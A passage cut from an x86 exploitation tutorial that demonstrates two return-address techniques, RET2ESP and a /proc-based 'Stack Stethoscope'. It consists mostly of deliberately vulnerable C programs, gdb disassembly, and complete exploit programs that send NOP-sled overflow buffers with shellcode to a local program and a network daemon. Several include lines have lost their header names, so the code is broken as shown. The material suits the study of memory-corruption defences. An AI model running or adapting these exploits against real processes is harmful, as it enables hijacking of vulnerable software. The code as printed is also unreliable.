x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

//
"\xc3\x84\x04\x08"; // RET ADDRESS / 0x080484c3 <__do_global_ctors_aux+35>: call *%eax
//

int main(int argc, char **argv, char **envp) {
char *args[] = { "vuln" , evilbuf , NULL };
return execve("vuln", args, envp);
}

--- snip snip ---


RET2ESP
-------

This method relies on unique hex, representative of hardcoded values... or in other words, doubles meaning.

Going back to basics: the basic data unit in computers is bits, and every 8 bits are converted to a byte.
In the process, the actual bits never change, but rather the logical meaning. For instance, the difference between
a signed and unsigned is up to the program to recognize the MSB as sign bit nor data bit. As there is no
absolute way to define a group of bits, different interpretation becomes possible.

The number 58623 might not be special at first glance, but the hex value of 58623 is. The representative hex
number is FFE4, and FFE4 is translated to 'JMP %ESP' and that's special. As hardcoded values are
part of the program actual code, this freaky idea becomes an actual solution.


--- snip snip ---

/*
* vuln.c, Unique strcpy() buffer overflow
*/

#include
#include

int main(int argc, char **argv) {
int j = 58623;
char buf[256];
strcpy(buf, argv[1]);
return 1;
}

--- snip snip ---

Starting with disassembling it

(gdb) disassemble main
Dump of assembler code for function main:
0x08048384 : push %ebp
0x08048385 : mov %esp,%ebp
0x08048387 : sub $0x118,%esp
0x0804838d : and $0xfffffff0,%esp
0x08048390 : mov $0x0,%eax
0x08048395 : sub %eax,%esp
0x08048397 : movl $0xe4ff,0xfffffff4(%ebp)
0x0804839e : sub $0x8,%esp
0x080483a1 : mov 0xc(%ebp),%eax
0x080483a4 : add $0x4,%eax
0x080483a7 : pushl (%eax)
0x080483a9 : lea 0xfffffee8(%ebp),%eax
0x080483af : push %eax
0x080483b0 : call 0x80482b0 <_init+56>
0x080483b5 : add $0x10,%esp
0x080483b8 : leave
0x080483b9 : ret
0x080483ba : nop
0x080483bb : nop
0x080483bc : nop
0x080483bd : nop
0x080483be : nop
0x080483bf : nop
End of assembler dump.

Tearing down [ ] to bytes

(gdb) x/7b 0x08048397
0x8048397 : 0xc7 0x45 0xf4 0xff 0xe4 0x00 0x00
(gdb)

Perform an offset (+3 bytes) jump to the middle of the instruction, interpreted as

(gdb) x/1i 0x804839a
0x804839a : jmp *%esp
(gdb)

Beauty is in the eye of the beholder, and in this case the x86 CPU ;-)


--- snip snip ---

/*
* exploit.c, Exploits vuln.c (RET2ESP)
*/

#include
#include

char evilbuf[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\
x90\x90\x90\x90\x90\x90"
//
"\x9a\x83\x04\x08" // RET ADDRESS / 0x804839a : jmp *%esp
//

//
"\x31\xc0" // xorl %eax, %eax
"\x31\xdb" // xorl %ebx, %ebx
"\x40" // incl %eax
"\xcd\x80"; // int $0x80
//

int main(int argc, char **argv, char **envp) {
char *args[] = { "vuln" , evilbuf , NULL };
return execve("vuln", args, envp);
}

--- snip snip ---

Here's a tiny table of 16 bit values that includes 'FFE4' in it:

-----------------------
| VAL | HEX | S/U |
+---------------+-----+
| 58623 | e4ff | S |
| -6913 | e4ff | U |
-----------------------

Stack Stethoscope
-----------------

This method is designed to locally attack an already running process (e.g. daemons), its advantage comes from
accessing the attacked process /proc entry, and using it for calculating the exact return address inside that stack.

The benefit of exploiting daemon locally is that the exploit can, prior to attacking, browse that process /proc entry.
Every process has a /proc entry which associated to the process pid (e.g. /proc/) and by default open to everybody.
In practical, a file inside the proc entry called 'stat' include very significant data for the exploit, and that's the
process stack start address.

root@magicbox:~# cat /proc/1/stat | awk '{ print $28 }'
3213067536
root@magicbox:~#

Taking this figure [ 3213067536 ] and converting to hex [ 0xbf838510 ] gives the process stack start address.
This is significant to the exploit, as knowing this detail allows an alternative way to navigate inside the stack and predict
the return address to the shellcode.

Normally, exploits use absolute return addresses which are a result of testing on different binaries/distributions.
Alternatively, calculating the distance of stack start address from the ESP register value after exploiting is equal
to having the return address itself.


--- snip snip ---

/*
* dumbo.c, Exploitable Daemon
*/

#include
#include
#include
#include
#include
#include

int main(int argc, char **argv) {
int sock, addrlen, nsock;
struct sockaddr_in sin;
char buf[256];

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

if (sock < 0) {
perror("socket");
return -1;
}

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(INADDR_ANY);
sin.sin_port = htons(31338);
addrlen = sizeof(sin);

if (bind(sock, (struct sockaddr *) &sin, addrlen) < 0) {
perror("bind");
return -1;
}

if (listen(sock, 5) < 0) {
perror("listen");
return -1;
}

nsock = accept(sock, (struct sockaddr *) &sin, &addrlen);

if (nsock < 0) {
perror("accept");
close(sock);
return -1;
}

read(nsock, buf, 1024);

close(nsock);
close(sock);

return 1;
}

--- snip snip ---

Starting by running the daemon

root@magicbox:/tmp# ./dumbo &
[1] 19296
root@magicbox:/tmp#

Now retrieving the process stack start address

root@magicbox:/tmp# cat /proc/19296/stat | awk '{ print $28 }'
3221223520
root@magicbox:/tmp#

Attaching to it, and putting a breakpoint prior to read() invocation

(gdb) x/1i 0x08048677
0x8048677 : call 0x8048454 <_init+184>
(gdb) break *main+323
Breakpoint 1 at 0x8048677
(gdb) continue

Shooting it down

root@magicbox:/tmp# perl -e 'print "A" x 320' | nc localhost 31338

Going back to the debugger, to check on 'buf' pointer

Breakpoint 1, 0x08048677 in main ()
(gdb) x/a $esp+4
0xbffff694: 0xbffff6b0
(gdb)

Now it comes down to a simple math

0xbffff860 -
0xbffff6b0
----------
432 bytes

So by subtracting the stack start address from the buf pointer, we got the ratio between the two.
Now, using this data, an exploit can generate a perfect return address.


--- snip snip ---

/*
* dumbo-exp.c, Exploits 'dumbo.c'
*/

#include
#include
#include
#include
#include
#include
#include
#include
#include

char *shellcode =
"\x31\xc0" // xorl %eax, %eax
"\x31\xdb" // xorl %ebx, %ebx
"\x40" // incl %eax
"\xcd\x80"; // int $0x80

unsigned long proc_getstackaddr(int pid) {
int fd, jmps;
char fname[24], buf[512], *data;
unsigned long addr;

snprintf(fname, sizeof(fname), "/proc/%d/stat", pid);

fd = open(fname, O_RDONLY);

if ( (fd < 0) || (read(fd, buf, sizeof(buf)) < 0) ) {
perror(fname);
return 0;
}

data = strtok(buf, " ");

for (jmps = 0; ( (jmps < 27) && data ) ; jmps++) {
data = strtok(NULL, " ");
}

if (!data) {
fprintf(stderr, "(%s) is shorter then expected, (corrupted?)\n", fname);
return 0;
}

addr = strtoul(data, NULL, 0);

if (addr < 0) {
fprintf(stderr, "(%s) invalid stack start address, %s is corrupted (?)\n", data, fname);
return 0;
}

return addr;
}

int main(int argc, char **argv) {
int sock;
struct sockaddr_in sin;

struct badpkt {
char shcode[7];
char padbuf[290];
unsigned long retaddr;
} badpkt;

if (argc < 2) {
printf("usage: %s \n", argv[0]);
return 0;
}

if (!(badpkt.retaddr = proc_getstackaddr(atoi(argv[1]))))
return 0;

badpkt.retaddr -= 432;

strcpy(badpkt.shcode, shellcode);
memset(badpkt.padbuf, 0x41, sizeof(badpkt.padbuf));

sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

if (sock < 0) {
perror("socket");
return 0;
}

sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr("127.0.0.1");
sin.sin_port = htons(31338);

if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) < 0) {
perror("connect");
return 0;
}

printf("*** Dumbo is going down! (RET: 0x%08x) ***\n", badpkt.retaddr);
write(sock, (void *) &badpkt, sizeof(badpkt));

close(sock);

return 1;
}

--- snip snip ---


Ref: NewOrder


Best Regards
Meghdad Shamsaei


Meghdadshamsaei@yahoo.com